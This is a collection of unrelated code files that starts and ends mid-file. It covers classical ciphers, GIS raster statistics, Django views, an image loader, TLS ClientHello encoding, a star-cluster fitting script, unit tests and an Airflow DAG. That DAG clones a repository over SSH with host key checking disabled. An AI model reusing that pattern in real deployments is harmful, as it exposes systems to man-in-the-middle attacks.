shift):\r\n '''decrypts string from c_encrypt function by shifting the letters back'''\r\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n string = string.upper()\r\n decryption = ''\r\n for char in string:\r\n if char in alphabet:\r\n decryption += rotate(char, shift * -1)\r\n else:\r\n decryption += char\r\n return(decryption)\r\n \r\ndef vig_encrypt(plaintext, key):\r\n '''rotates by the # of each corresponding letter of alphabet in string'''\r\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n plaintext = plaintext.upper()\r\n key = key.upper()\r\n encryption = ''\r\n increase_key = 0\r\n for character in plaintext:\r\n if character in alphabet:\r\n num = (alphabet.find(character) + alphabet.find(key[increase_key % len(key)])) % len(alphabet)\r\n increase_key += 1 # adds more characters to key to match len(plaintext)\r\n encryption += alphabet[num]\r\n else:\r\n encryption += character\r\n return(encryption)\r\n\r\ndef vig_decrypt(plaintext, key):\r\n '''decrypts string from vig_decrypt by shifting letters back'''\r\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n increase_key = 0\r\n plaintext = plaintext.upper()\r\n key = key.upper()\r\n encryption = ''\r\n for character in plaintext:\r\n if character.isalpha():\r\n initial_char = (alphabet.find(character))\r\n num = initial_char - alphabet.find(key[increase_key % len(key)])\r\n num = num % len(alphabet)\r\n increase_key += 1\r\n encryption += alphabet[num]\r\n else:\r\n encryption += character\r\n return(encryption)","sub_path":"CaesarVignEncryp.py","file_name":"CaesarVignEncryp.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"425046108","text":"# -*- coding: utf-8 -*-\n\n\nfrom osgeo import gdal, osr\n\n\n\ndef raster_min_max(path_raster):\n '''\n esta función regresa el valor mínimo y máximo de un\n raster\n\n Ejemplo de uso: \n min, max = raster_min_max('/../raster.tif')\n '''\n rlayer = QgsRasterLayer(path_raster,\"raster\")\n\n extent = rlayer.extent()\n \n\n provider = rlayer.dataProvider()\n rows = rlayer.rasterUnitsPerPixelY()\n cols = rlayer.rasterUnitsPerPixelX()\n block = provider.block(1, extent, rows, cols)\n \n stats = provider.bandStatistics(1,\n QgsRasterBandStats.All,\n extent,\n 0)\n\n min = stats.minimumValue\n max = stats.maximumValue\n promedio = stats.mean\n no_data = block.noDataValue()\n dimension = rlayer.height(),rlayer.width()\n pixel = rlayer.rasterUnitsPerPixelX(), rlayer.rasterUnitsPerPixelY()\n return min,max,no_data,extent,dimension,pixel\n\nlayer = iface.activeLayer()\npath = layer.dataProvider().dataSourceUri()\nmin,max,nodata,extent,dimension,pixel = raster_min_max(path)\nprint (\"valor minimo :\",min)\nprint (\"valor maximo :\",max)\nprint (\"valor nodata :\",nodata)\nprint (\"extension de capa:\", extent)\nprint (\"renglones, columnas:\",dimension)\nprint (\"tamaño de pixel X,Y\",pixel)\n","sub_path":"codigos/secundarios/maximo_minimo_raster.py","file_name":"maximo_minimo_raster.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"327553264","text":"from django.shortcuts import render, redirect\nfrom django.views.decorators.http import require_POST\nfrom apps.account.models.student import Student\nfrom apps.account.models.teacher import Teacher\nfrom apps.account.models.review import StudentReview\nfrom apps.account.models.schedule import Schedule\nimport datetime\n\n\ndef review(request, student_id):\n if request.user.is_anonymous:\n return redirect('account:login')\n\n # schedule = Schedule.objects.filter(teacher__user=request.user, student__user_id=student_id,\n # done=True).order_by('-day').order_by('-time').first()\n # schedule.student_review = None\n # schedule.save()\n\n if not Schedule.objects.filter(teacher__user=request.user, student__user_id=student_id, lesson__done=True,\n lesson__student_review=None).exists():\n\n return redirect('account:teacher_history')\n schedule = Schedule.objects.filter(teacher__user=request.user, student__user_id=student_id,\n lesson__done=True, lesson__student_review=None).order_by('-day').order_by('-time').first()\n context = dict()\n student = Student.objects.get(user_id=student_id)\n context['name'] = student.user.username\n context['img'] = student.profile_image\n context['id'] = student_id\n context['day'] = schedule.day\n context['time'] = schedule.time\n return render(request, 'student/review.html', context)\n\n\n@require_POST\ndef review_send(request):\n if request.user.is_anonymous:\n return redirect('account:login')\n\n request_body = request.POST\n print(request_body)\n student = Student.objects.get(user_id=int(request_body['id']))\n concentration = int(request_body['concentration'])\n understanding = int(request_body['understanding'])\n interest = int(request_body['interest'])\n content = request_body['content']\n student_learned = request_body['student_learned']\n next_content = request_body['next_content']\n comment = request_body['comment']\n\n review = StudentReview(teacher=Teacher.objects.get(user=request.user), student=student,\n concentration=concentration, understanding=understanding, interest=interest,\n content=content, student_learned=student_learned, next_content=next_content,\n comment=comment)\n review.save()\n # review を schedules に紐付け\n day = datetime.datetime.strptime(request_body['day'], '%Y-%m-%d')\n day = datetime.date(day.year, day.month, day.day)\n time = int(request_body['time'])\n\n if Schedule.objects.get(teacher__user=request.user, student__user_id=student.user.id, day=day,\n time=time).lesson.student_review is not None:\n redirect('account:teacher_profile')\n\n schedule = Schedule.objects.get(teacher__user=request.user, student__user_id=student.user.id, day=day, time=time)\n schedule.lesson.student_review = review\n schedule.lesson.save()\n schedule.save()\n time_count = 1\n while Schedule.objects.filter(teacher__user=request.user, student__user_id=student.user.id, done=True,\n day=schedule.day, time=schedule.time - 1).exists() and schedule.time - 1 >= 0:\n day = schedule.day\n time = schedule.time - 1\n time_count += 1\n schedule = Schedule.objects.get(teacher__user=request.user, student__user_id=student.user.id, done=True,\n day=day, time=time)\n schedule.lesson.student_review = review\n schedule.lesson.save()\n schedule.save()\n\n # 報酬の付与\n teacher = Teacher.objects.get(user=request.user)\n teacher.payable_price += int(teacher.wage * time_count / 4)\n teacher.save()\n\n return redirect('student:review_complete')\n\n\ndef review_complete(request):\n return render(request, 'student/review_complete.html')\n","sub_path":"apps/student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"260022588","text":"import os\nimport sys\nimport numpy as np\nfrom PIL import Image, ImageOps\n\n\n\ndef get_files(_dir):\n if False == os.path.isdir(_dir ):\n sys.exit(\"[!!!] _dir is not valid\" )\n files = [files for root, _, files in os.walk(_dir) ][0] # One directory and no subdir is supposed\n return files\n\nclass TrainData:\n def __init__(self, _images, _labels, _img_size):\n size = _img_size\n imgs = [ImageOps.fit(Image.open(img), size) for img in _images ]\n lbls = [ImageOps.fit(Image.open(img).convert('1'), size) for img in _labels ]\n\n # imgs[0].show()\n # lbls[0].show()\n self.images = list(map(lambda a:np.asarray(a, dtype=np.uint8), imgs) )\n self.labels = list(map(lambda a:np.asarray(a, dtype=np.bool), lbls) )\n self.images = list(map(lambda a:a.astype(np.float32), self.images) )\n self.labels = list(map(lambda a:a.astype(np.float32)[:,:,np.newaxis], self.labels) )\n\n self.data_count = len(self.images )\n self.offset = 0\n\n def next_batch(self, _count):\n ret_img = [self.images[i % self.data_count] for i in range(self.offset, self.offset + _count) ]\n ret_lbl = [self.labels[i % self.data_count] for i in range(self.offset, self.offset + _count) ]\n self.offset = (self.offset + _count) % self.data_count\n return (ret_img, ret_lbl )\n \n\nTestData = TrainData\n \nclass BSDS500:\n def __init__(self, _train_dir, _test_dir ):\n train_path = lambda _subdir:os.path.join(_train_dir, _subdir )\n test_path = lambda _subdir:os.path.join(_test_dir, _subdir )\n self.train_data_dir = train_path(\"data\" )\n self.train_bon_dir = train_path(\"bon\" )\n self.test_data_dir = test_path(\"data\" )\n self.test_bon_dir = test_path(\"bon\" )\n self.train_files = get_files(self.train_data_dir )\n self.test_files = get_files(self.test_data_dir )\n\n list_file = lambda a,c:list(map(lambda b:os.path.join(a, b), c) )\n train_img_fs = list_file(self.train_data_dir, self.train_files )\n train_lbl_fs = list_file(self.train_bon_dir, self.train_files )\n test_img_fs = list_file(self.test_data_dir, self.test_files )\n test_lbl_fs = list_file(self.test_bon_dir, self.test_files )\n\n self.image_size = (480, 480 )\n self.train = TrainData(train_img_fs, train_lbl_fs, self.image_size )\n self.test = TestData(test_img_fs, test_lbl_fs, self.image_size )\n \n\n \n \ndef read_data(_dir):\n path = lambda _subdir:os.path.join(_dir, _subdir )\n return BSDS500(path(\"train\"), path(\"test\") )\n\n\n\nif \"__main__\" == __name__:\n bsds500 = read_data(\"E:/Training Data/BSDS500/images\" )\n imgs, labels = bsds500.train.next_batch(100 )\n imgs, labels = bsds500.train.next_batch(100 )\n imgs, labels = bsds500.train.next_batch(100 )\n print(len(imgs) )\n","sub_path":"Tensorflow/VGG/bsds500.py","file_name":"bsds500.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220300131","text":"# The TLS Handshake Protocol (TLS 1.0 / RFC 2246 - 7)\n#\n# This module only provides support for the initial phase of the handshake,\n# which consists of hello messages and security parameters negociation.\n\nimport enum\nimport random\nimport struct\nimport time\n\n\nclass HandshakeType(enum.IntEnum):\n CLIENT_HELLO = 1\n\n def encode(self):\n return bytes([self])\n\n\nclass HandshakeMessage:\n\n MAX_BODY = (2 ** 24) - 1\n UINT32 = \">I\"\n\n def encode_length(lg):\n uint32 = struct.pack(HandshakeMessage.UINT32, lg)\n uint24 = uint32[-3:] # 24 bits: the last 3 bytes out of 4 (big-endian)\n return uint24\n\n def encode_vector(vector, count_format, element_size):\n encoded_body = b''\n count = 0\n for element in vector:\n encoded_body += element.encode()\n count += 1\n encoded_count = struct.pack(count_format, count * element_size)\n return (encoded_count + encoded_body)\n\n def encode_vector_8(vector):\n return HandshakeMessage.encode_vector(vector, '>B', 1)\n\n def encode_vector_16(vector):\n return HandshakeMessage.encode_vector(vector, '>H', 2)\n\n def __init__(self, handshake_type, body):\n assert len(body) <= HandshakeMessage.MAX_BODY\n self.msg_type = handshake_type\n self.length = len(body)\n self.body = body\n\n def encode(self):\n return (self.msg_type.encode() +\n HandshakeMessage.encode_length(self.length) +\n self.body)\n\n\nclass Random:\n\n UINT32 = \">I\"\n\n def __init__(self):\n self.gmt_unix_time = Random.init_time()\n self.random_bytes = Random.init_random()\n\n def init_time():\n now = time.time()\n seconds = int(now)\n return struct.pack(Random.UINT32, seconds)\n\n def init_random():\n generator = random.SystemRandom()\n values = []\n for i in range(28):\n next_value = generator.randint(0, 255)\n values.append(next_value)\n return bytes(values)\n\n def encode(self):\n return (self.gmt_unix_time + self.random_bytes)\n\n\nclass ProtocolVersion:\n\n def __init__(self, major, minor):\n self.major = major\n self.minor = minor\n\n def encode(self):\n return bytes([self.major, self.minor])\n\nTLS_VERSION_1_0 = ProtocolVersion(3, 1)\n\n\nEMPTY_SESSION_ID = b'\\x00'\n\n\nclass CipherSuite(enum.Enum):\n\n TLS_NULL_WITH_NULL_NULL = [0x00, 0x00]\n TLS_RSA_WITH_NULL_MD5 = [0x00, 0x01]\n TLS_RSA_WITH_NULL_SHA = [0x00, 0x02]\n TLS_RSA_EXPORT_WITH_RC4_40_MD5 = [0x00, 0x03]\n TLS_RSA_WITH_RC4_128_MD5 = [0x00, 0x04]\n TLS_RSA_WITH_RC4_128_SHA = [0x00, 0x05]\n TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 = [0x00, 0x06]\n TLS_RSA_WITH_IDEA_CBC_SHA = [0x00, 0x07]\n TLS_RSA_EXPORT_WITH_DES40_CBC_SHA = [0x00, 0x08]\n TLS_RSA_WITH_DES_CBC_SHA = [0x00, 0x09]\n TLS_RSA_WITH_3DES_EDE_CBC_SHA = [0x00, 0x0A]\n\n # TODO : to be completed\n\n def encode(self):\n return bytes(self.value)\n\n\nclass CompressionMethod(enum.IntEnum):\n NULL = 0\n\n def encode(self):\n return bytes([self])\n\n\nclass ClientHello(HandshakeMessage):\n\n def __init__(self,\n cipher_suites,\n compression_methods=[CompressionMethod.NULL],\n session_id=EMPTY_SESSION_ID,\n version=TLS_VERSION_1_0):\n\n self.client_version = version\n self.random = Random()\n self.session_id = session_id\n self.cipher_suites = cipher_suites\n self.compression_methods = compression_methods\n\n body = self.init_body()\n super().__init__(HandshakeType.CLIENT_HELLO, body)\n\n\n def init_body(self):\n return (self.client_version.encode() +\n self.random.encode() +\n self.session_id +\n HandshakeMessage.encode_vector_16(self.cipher_suites) +\n HandshakeMessage.encode_vector_8(self.compression_methods))\n","sub_path":"004-py3-tls10/handshake.py","file_name":"handshake.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"646662361","text":"from bulk_update.helper import bulk_update\n\nfrom common.command import Command\nfrom common.thread import Thread\nfrom common.utils import chunks\nfrom flipdom.models import DomainName, SoldDomain, TestDomain\nfrom flipdom.utils import NameFeature\n\n\nclass Worker(Thread):\n\n def run(self):\n count = self.args[0]\n domains = self.kwargs.get('names')\n length = len(domains)\n self.info('Worker %d: %d names' % (count, length))\n c = 0\n\n keys = NameFeature.keys\n for domain in domains:\n name = domain.name\n name_feature = NameFeature(name)\n for key in keys:\n setattr(domain, key, getattr(name_feature, 'get_%s' % (key))())\n\n c += 1\n self.info('Worker %d: %d/%d updated: %s' %\n (count, c, length, name))\n\n bulk_update(domains, update_fields=keys)\n self.info('Worker %d: %d domains updated' % (count, length))\n\n return\n\n\nclass Command(Command):\n help = 'Collect syntax info'\n chunk_size = 10000\n\n def add_arguments(self, parser):\n parser.add_argument('num_workers', type=int, default=1)\n\n def handle(self, *args, **options):\n self.info('Collecting syntax info')\n num_workers = options.get('num_workers')\n\n # domains = DomainName.objects.without_syntax().only('name')\n\n test_qs = SoldDomain.objects.exclude(mediator='crazy')\n dn_ids = test_qs.values_list('domain__name_feature_id', flat=True)\n\n # test_qs = TestDomain.objects.filter(mediator__in=['14M', '15M', '16M'])\n # dn_ids = test_qs.values_list('domain__name_feature_id', flat=True)\n\n qs = DomainName.objects.filter(id__in=dn_ids).only('name')\n domains = qs.without_syntax()\n\n self.info('Starting to output %d names' % (domains.count()))\n\n count = 0\n subl_count = 0\n for subl in chunks(domains, self.chunk_size * num_workers):\n threads = []\n for names in chunks(subl, self.chunk_size):\n count += 1\n worker = Worker(args=(count,),\n kwargs={'names': names})\n threads.append(worker)\n\n for thread in threads:\n thread.start()\n\n # Wait until all threads are done\n for thread in threads:\n thread.join()\n\n subl_count += 1\n self.info('Subl: %d' % (subl_count))\n\n self.info('Done')\n","sub_path":"scraper/management/commands/collect_syntax.py","file_name":"collect_syntax.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"333719403","text":"\"\"\"\nPerforms the maximisation step of the EM algorithm for 1 component only!\n\n\nRun with\npython run_maximisation_1_comp.py testing.pars run_maximisation_1_comp.pars\n\n\nRequired input data (global_pars):\n- Stellar data\n\n###################################################\n##### Required fields in the local_pars file: #####\n\nncomps: Total number of components in the model\nicomp: Fit icomp-th component here\nidir: path to the iteration directory, e.g. results/1/iter00 or results/2/A/iter00\n\nOutput filenames:\nfilename_comp: filename of a npy file where component is stored\nfilename_samples: Store MCMC chain in this filename\nfilename_lnprob: Store lnprob in a file\nfilename_init_pos: Store final_pos in this file. This is used as a starting point in the next iteration.\n###################################################\n\n# OUTPUT OF THIS SCRIPT\n- component fit results\n- chain\n- lnprob\n- final_pos (this is used as an input in the next iteration)\n- plots\n\n\nDescribe where this output goes\n# Output destination\nidir = local_pars['idir'] # os.path.join(rdir, \"iter{:02}/\".format(local_pars['iter_count']))\ngdir = os.path.join(idir, \"comp{}/\".format(icomp))\n\n\nall_init_pars must be given in 'internal' form, that is the standard\ndeviations must be provided in log form.\n\n\nParameters\n----------\ndata: dict\n data: dict -or- astropy.table.Table -or- path to astrop.table.Table\n if dict, should have following structure:\n 'means': [nstars,6] float array_like\n the central estimates of star phase-space properties\n 'covs': [nstars,6,6] float array_like\n the phase-space covariance matrices of stars\n 'bg_lnols': [nstars] float array_like (opt.)\n the log overlaps of stars with whatever pdf describes\n the background distribution of stars.\n if table, see tabletool.build_data_dict_from_table to see\n table requirements.\nncomps: int\n Number of components being fitted\nicomp: int\n Compute maximisation for the icomp-th component.\nmemb_probs: [nstars, ncomps {+1}] float array_like\n See fit_many_comps\nburnin_steps: int\n The number of steps for each burnin loop\nidir: str\n The results directory for this iteration\nall_init_pars: [ncomps, npars] float array_like\n The initial parameters around which to initialise emcee walkers\nall_init_pos: [ncomps, nwalkers, npars] float array_like\n The actual exact positions at which to initialise emcee walkers\n (from, say, the output of a previous emcee run)\nplot_it: bool {False}\n Whehter to plot lnprob chains (from burnin, etc) as we go\npool: MPIPool object {None}\n pool of threads to execute walker steps concurrently\nconvergence_tol: float {0.25}\n How many standard devaitions an lnprob chain is allowed to vary\n from its mean over the course of a burnin stage and still be\n considered \"converged\". Default value allows the median of the\n final 20 steps to differ by 0.25 of its standard deviations from\n the median of the first 20 steps.\nignore_dead_comps : bool {False}\n if componennts have fewer than 2(?) expected members, then ignore\n them\nignore_stable_comps : bool {False}\n If components have been deemed to be stable, then disregard them\nComponent: Implementation of AbstractComponent {Sphere Component}\n The class used to convert raw parametrisation of a model to\n actual model attributes.\ntrace_orbit_func: function {None}\n A function to trace cartesian oribts through the Galactic potential.\n If left as None, will use traceorbit.trace_cartesian_orbit (base\n signature of any alternate function on this ones)\nDEATH_THRESHOLD: float {2.1}\n The total expected stellar membership below which a component is\n deemed 'dead' (if `ignore_dead_comps` is True)\n\n\nReturns: Rewrite this as this is different now\n-------\nnew_comps: [ncomps] Component array\n For each component's maximisation, we have the best fitting component\nall_samples: [ncomps, nwalkers, nsteps, npars] float array\n An array of each component's final sampling chain\nall_lnprob: [ncomps, nwalkers, nsteps] float array\n An array of each components lnprob\nall_final_pos: [ncomps, nwalkers, npars] float array\n The final positions of walkers from each separate Compoment\n maximisation. Useful for restarting the next emcee run.\nsuccess_mask: np.where mask\n If ignoring dead components, use this mask to indicate the components\n that didn't die\n\"\"\"\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nprint('run_maximisation_1_comp: all warnings suppressed.')\n\nimport numpy as np\nimport os\nimport sys\nsys.path.insert(0, '..')\n\nfrom chronostar import compfitter\nfrom chronostar import traceorbit\nfrom chronostar import readparam\nfrom chronostar import tabletool\nfrom chronostar.component import SphereComponent\n\nimport logging\n\nnp.savetxt('first', [1])\n\n#~ from schwimmbad import MPIPool\n\ndef log_message(msg, symbol='.', surround=False):\n \"\"\"Little formatting helper\"\"\"\n res = '{}{:^40}{}'.format(5*symbol, msg, 5*symbol)\n if surround:\n res = '\\n{}\\n{}\\n{}'.format(50*symbol, res, 50*symbol)\n logging.info(res)\n\n#~ pool=MPIPool()\n#~ if not pool.is_master():\n #~ pool.wait()\n #~ sys.exit(0)\n\n##################################\n### SET PARAMETERS ###############\n##################################\ndefault_fit_pars = readparam.readParam('default_fit.pars')\n\n# Read global parameters from the file\nglobal_pars = readparam.readParam(sys.argv[1], default_pars=default_fit_pars)\n\n# Read local parameters from the file\nlocal_pars = readparam.readParam(sys.argv[2])\n\nprint('ocmp', sys.argv[2], sys.argv[1])\n\nncomps = local_pars['ncomps']\nicomp = local_pars['icomp']\n\n# TODO ###############\npool=None#pool#None\n\nif global_pars['component'].lower()=='sphere':\n component = SphereComponent\nelse:\n print('WARNING: Component not defined.')\n component=None\n\n# Set up trace_orbit_func. Maybe move this into compfitter.\nif global_pars['trace_orbit_func'] == 'dummy_trace_orbit_func':\n global_pars['trace_orbit_func'] = traceorbit.dummy_trace_orbit_func\nelif global_pars['trace_orbit_func'] == 'epicyclic':\n log_message('trace_orbit: epicyclic')\n global_pars['trace_orbit_func'] = traceorbit.trace_epicyclic_orbit\nelse:\n global_pars['trace_orbit_func'] = traceorbit.trace_cartesian_orbit \n\n\n##################################\n### READ DATA ####################\n##################################\n# Stellar data\n#~ data_dict = tabletool.build_data_dict_from_table(global_pars['data_table'], mask_good=mask_good)\ndata_dict = tabletool.build_data_dict_from_table(global_pars['data_table'], get_background_overlaps=global_pars['use_background'])\n#~ print('ONECOME', len(data_dict['means']), global_pars['data_table'])\n\n# Membership: memb_probs is what we get from the expectation step\nif os.path.exists(local_pars['filename_membership']):\n memb_probs = np.load(local_pars['filename_membership'])\nelse:\n # This is first run and we have to start somewhere\n nstars = data_dict['means'].shape[0]\n init_memb_probs = np.ones((nstars, ncomps)) / ncomps\n print('MEMB PROBS INIT EQUAL')\n\n # Add background\n if global_pars['use_background']:\n memb_probs = np.hstack((init_memb_probs, np.zeros((nstars,1))))\n\n# Init_pos\nif os.path.exists(local_pars['filename_init_pos']):\n all_init_pos = np.load(local_pars['filename_init_pos'])\nelse:\n #~ all_init_pos = ncomps * [None]\n all_init_pos = None\n\n#~ print('run_maximisation_1_comp INIT POS', all_init_pos, local_pars['filename_init_pos'])\n\n# Init_pars\nif os.path.exists(local_pars['filename_init_pars']):\n all_init_pars = np.load(local_pars['filename_init_pars'])\nelse:\n #~ all_init_pos = ncomps * [None]\n all_init_pars = None\n\n#~ print('ONECOMP', len(memb_probs), len(data_dict['means']))\n\n##################################\n### COMPUTATIONS #################\n##################################\n\n#~ print('SHAPES', memb_probs, all_init_pos, all_init_pars)\n\nnp.savetxt('run1message', [2])\n\nlog_message('Fitting comp {}'.format(icomp), symbol='.', surround=True)\nbest_comp, chain, lnprob = compfitter.fit_comp(\n data=data_dict, memb_probs=memb_probs,\n init_pos=all_init_pos,\n init_pars=all_init_pars,\n burnin_steps=global_pars['burnin'],\n plot_it=global_pars['plot_it'], pool=pool,\n convergence_tol=global_pars['convergence_tol'],\n plot_dir=local_pars['gdir'], save_dir=local_pars['gdir'], Component=component,\n trace_orbit_func=global_pars['trace_orbit_func'],\n store_burnin_chains=global_pars['store_burnin_chains'],\n nthreads=global_pars['nthreads'],\n)\n\nnp.savetxt('run1message_finishedfit_comp', [2])\n\n#~ best_comp, x, lnprob = compfitter.fit_comp_scipy_optimise(data_dict, \n #~ memb_probs=memb_probs, init_pos=all_init_pos, \n #~ init_pars=all_init_pars, Component=component, \n #~ plot_it=global_pars['plot_it'], pool=pool, \n #~ convergence_tol=0.25, plot_dir=local_pars['gdir'], \n #~ save_dir=local_pars['gdir'], \n #~ trace_orbit_func=global_pars['trace_orbit_func'], \n #~ nthreads=global_pars['nthreads'],\n#~ )\n\nlogging.info(\"Finished fit\")\nlogging.info(\"Best comp pars:\\n{}\".format(\n best_comp.get_pars()\n))\nfinal_pos = chain[:, -1, :]\nlogging.info(\"With age of: {:.3} +- {:.3} Myr\".\n format(np.median(chain[:,:,-1]),\n np.std(chain[:,:,-1])))\n\nfln = local_pars['filename_samples'].replace('samples', 'printouts')\nprint('fln', fln)\n#~ np.save(fln, [ncomps, icomp, all_init_pos, final_pos])\n#~ print('ncomps, icomp, init_pos, final_pos', ncomps, icomp, all_init_pos, final_pos)\n\n##################################\n### SAVE RESULTS #################\n##################################\nbest_comp.store_raw(local_pars['filename_comp'])\nnp.save(local_pars['filename_samples'], chain)\nnp.save(local_pars['filename_lnprob'], lnprob)\n\n#~ pool.close()\n","sub_path":"scripts_parallel/run_maximisation_1_comp.py","file_name":"run_maximisation_1_comp.py","file_ext":"py","file_size_in_byte":9950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"621228339","text":"# Question 3\n\n# Create a function that returns the reverse of word, which matches the original string\ndef is_Palindrome(s):\n return s == s[::-1]\n\n# Question 4\n\nimport unittest\nfrom unittest import TestCase, main\n\nclass Test_Palindromes(TestCase):\n# First test tests a correct palindrome in which a ‘Yes’ should be printed.\n def test_correct(self):\n s = \"madam\"\n ans = is_Palindrome(s)\n if ans:\n print(\"Yes\")\n else:\n print(\"No\")\n self.assertTrue(ans)\n\n# Second test tests an incorrect palindrome in which a ‘No’ should be printed.\n def test_incorrect(self):\n s = \"banana\"\n ans = is_Palindrome(s)\n if ans:\n print(\"Yes\")\n else:\n print(\"No\")\n self.assertFalse(ans)\n\nif __name__ == '__main__':\n main()\n\n#Question 8\n\n# Create a function\n# Identify 2 integers from the list\n# Ensure the 2 integers are not the same integer\n# The two integers should equal the target\n# Don't know how to return an empty array if no 2 numbers sum up to the target sum\n# Print all options as a list\n# def my_function(numbers, target):\n# for x in numbers:\n# for y in numbers:\n# if x != y and x + y == target:\n# print([x, y])\n#\n#\n#\n# array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 15]\n# target = 18\n# # Expect [3, 15]\n#\n# my_function(array, target)\n# print (\"-\\n\")\n#\n# array = [-21, 301, 12, 4, 65, 56, 210, 356, 9, -47]\n# target = 163\n# # Expect [-47, 210]\n#\n# my_function(array, target)\n# print (\"-\\n\")\n#\n# array = [15]\n# target = 15\n# # Expect []\n# my_function(array, target)\n","sub_path":"Feedback/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"442513802","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\n\nfrom datetime import datetime\nfrom base_test_case import BaseTestCase\nfrom models import Task, User, Report\nfrom constants import REPORT\nfrom flow import app as tst_app\nimport tools\nDATE_FMT = \"%Y-%m-%d %H:%M:%S %Z\"\n\n\nclass ReportsTestCases(BaseTestCase):\n\n def setUp(self):\n self.set_application(tst_app)\n self.setup_testbed()\n self.init_standard_stubs()\n self.init_app_basics()\n self.u = self.users[0]\n\n def _test_report(self, params, expected_output):\n response = self.post_json(\"/api/report/generate\", params, headers=self.api_headers)\n rkey = response.get('report', {}).get('key')\n rid = response.get('report', {}).get('id')\n self.execute_tasks_until_empty()\n response = self.get(\"/api/report/serve?rkey=%s\" % rkey, headers=self.api_headers)\n compare_output = response.body # Avoid whitespace normalization in normal_body\n compare_output = compare_output.replace('\\r\\n', '\\n').replace('\\r', '\\n').split('\\n')\n self.assertEqual([x for x in compare_output if x], expected_output)\n self.assertEqual(response.content_type, 'text/csv')\n report = self.u.get(Report, rid)\n self.assertTrue(report.is_done())\n self.assertTrue(report.get_duration() > 0)\n\n def test_task_report(self):\n task = Task.Create(self.u, \"New task\")\n task.put()\n\n self._test_report(\n {'type': REPORT.TASK_REPORT},\n [\n 'Date Created,Date Due,Date Done,Title,Done,Archived',\n \",\".join([\n tools.sdatetime(task.dt_created, fmt=DATE_FMT),\n \"2017-05-09 22:00:00 UTC\",\n \"N/A\",\n \"New task\",\n \"0\",\n \"0\"])\n ]\n )\n","sub_path":"testing/testing_reports.py","file_name":"testing_reports.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"626569620","text":"from datetime import timedelta, datetime\n\nfrom airflow.models import DAG, Variable\nfrom airflow.operators.bash_operator import BashOperator\n\nargs = {\n 'owner': 'airflow',\n 'start_date': datetime(2015, 1, 1),\n 'email': ['airflow@joinroot.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 0,\n}\n\n\"\"\"\nThis dag is used for DAG deployment when running Airflow on ECS.\n\nWhen running on ECS, we use EFS to mount a shared volume to each host and container that contains DAGs. The EFS\nvolume and EC2 hosts are running in private subnets with no access from the outside world. This makes pushing DAGs from\nCI convoluted, so instead we pull. We may switch to push delivery at some point in the future if the complexity is\nwarranted.\n\nThis DAG expects a variable with a private key that has read access to a private git repo to clone from. This is a \ndestructive operation and will delete any DAGs on the EFS volume that are no longer in the repository.\n\"\"\"\n\ndag = DAG(\n dag_id='deploy_dags',\n schedule_interval=None,\n dagrun_timeout=timedelta(minutes=60),\n default_args=args,\n catchup=False\n)\ndag.doc_md = __doc__\n\nROOT_AIRFLOW_PRIVATE_KEY = Variable.get(\"ROOT_AIRFLOW_DEPLOY_KEY\", default_var=\"\")\nGIT_REPO = Variable.get(\"ROOT_AIRFLOW_DAG_REPO\", default_var=\"\")\nGIT_BRANCH = Variable.get(\"ROOT_AIRFLOW_DAG_BRANCH\", default_var=\"master\")\nGIT_SUBDIR = Variable.get(\"ROOT_AIRFLOW_DAG_SUBDIR\", default_var=\"\")\n\nif GIT_REPO:\n REPO_NAME = GIT_REPO.split(\"/\")[-1].replace(\".git\", \"\")\n\n BashOperator(\n dag=dag,\n task_id=f\"git_clone_dags\",\n env={\"ROOT_AIRFLOW_DEPLOY_KEY\": ROOT_AIRFLOW_PRIVATE_KEY},\n bash_command=f\"\"\"echo \"$ROOT_AIRFLOW_DEPLOY_KEY\" > /usr/local/airflow/.ssh/root-airflow-deploy \\\n && chmod 600 ~/.ssh/root-airflow-deploy \\\n && GIT_SSH_COMMAND=\"ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i ~/.ssh/root-airflow-deploy\" git clone -b {GIT_BRANCH} {GIT_REPO} \\\n && rm -rf /usr/local/airflow/dags/user_dags/* \\\n && cp -r {REPO_NAME}/{GIT_SUBDIR} /usr/local/airflow/dags/user_dags/ \\\n && rm -rf {REPO_NAME}\n \"\"\"\n )\n","sub_path":"docker/deploy_dags.py","file_name":"deploy_dags.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"565132030","text":"import numpy as np\nimport pandas as pd\nfrom scipy import interpolate\nimport os\n\ndef List_txt():\n files = os.listdir() # return a list of files\n return [file for file in files if file.endswith('.txt')]\n\ndef Load_patient(file): # file = 'Case1_AAA.txt' string\n with open(file, \"r\") as file_:\n my_file = [line for line in file_.readlines()] # my_file is a list representation of the text file\n file_.close()\n file_len = len(my_file) # number of lines in the file\n patID = my_file[1].split(':')[-1].strip('\\n').strip()\n planID = 